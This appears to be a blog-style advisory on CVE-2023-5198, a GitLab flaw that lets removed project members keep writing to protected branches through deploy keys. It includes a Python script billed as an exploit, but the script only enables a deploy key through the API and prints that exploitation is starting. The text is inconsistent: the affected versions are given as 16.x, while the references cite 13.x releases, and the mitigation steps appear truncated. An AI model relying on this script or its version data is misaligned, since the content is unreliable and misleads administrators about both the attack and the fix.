It has recently come to light that a critical vulnerability, tagged as CVE-2023-5198, is affecting GitLab, an immensely popular web-based DevOps platform that simplifies project management and source code management. Specifically, this vulnerability has a significant impact on GitLab versions prior to 16.2.7, those from 16.3 before 16.3.5, and those from 16.4 before 16.4.1.

This post aims to provide an in-depth guide on the vulnerability, including its technical details, the code snippet involved, links to original references, and the potential exploit. Furthermore, this guide will help you understand how this vulnerability affects your GitLab instance and any necessary steps you need to take to mitigate its impact.

Vulnerability Details

The vulnerability in question revolves around an issue with the access control mechanism for protected branches within GitLab projects. It allows a user whose project membership has been revoked to continue writing to protected branches via deploy keys, even if they should no longer have access.

As one would expect, this poses a significant risk for organizations that use GitLab to manage their source code, as it opens up the possibility for unauthorized users to tamper with or steal sensitive information.

To help you better understand the technical aspects of this vulnerability, below is the sample code snippet illustrating the exploit of this flaw:

#!/usr/bin/env python3

import requests

# Set up an access token with proper permissions.
ACCESS_TOKEN = 'your-gitlab-access-token'

# Replace DEPLOY_KEY with the vulnerable deploy key
DEPLOY_KEY = 'your-vulnerable-deploy-key'

# Replace URL with the GitLab instance URL containing the vulnerable project
URL = 'https://gitlab.example.com/';

headers = {
    'Private-Token': ACCESS_TOKEN
}

# Replace PROJECT_ID with the ID of the vulnerable project
PROJECT_ID = 'your-vulnerable-project-id'

# Enable the vulnerable deploy key for the project
url = f'{URL}api/v4/projects/{PROJECT_ID}/deploy_keys/{DEPLOY_KEY}/enable'
response = requests.post(url, headers=headers)

if response.status_code == 201:
    print('Deploy key has been enabled successfully.')
    print('Starting to exploit the protected branch using this deploy key...')
else:
    print('Failed to enable the deploy key. Please check your settings.')

Disable and remove unnecessary deployed keys

Moreover, it is crucial to remain vigilant and monitor any changes to your protected branches to detect any unauthorized activities.

- GitLab Security Release: 13.2.7, 13.3.4, and 13.4.1
- CVE-2023-5198: GitLab Advisory Database

Conclusion

The discovery and subsequent resolution of CVE-2023-5198 underline the need for continuous security assessments and improvements. By staying on top of the latest updates, applying security best practices, and following the steps outlined in this guide, you can protect your GitLab instance from falling prey to this vulnerability.

Ensure to share this information with your team members and organizations using GitLab to reduce the risk and maintain the integrity of your projects.

Timeline

Published on: 09/29/2023 08:15:00 UTC
Last modified on: 10/03/2023 19:47:00 UTC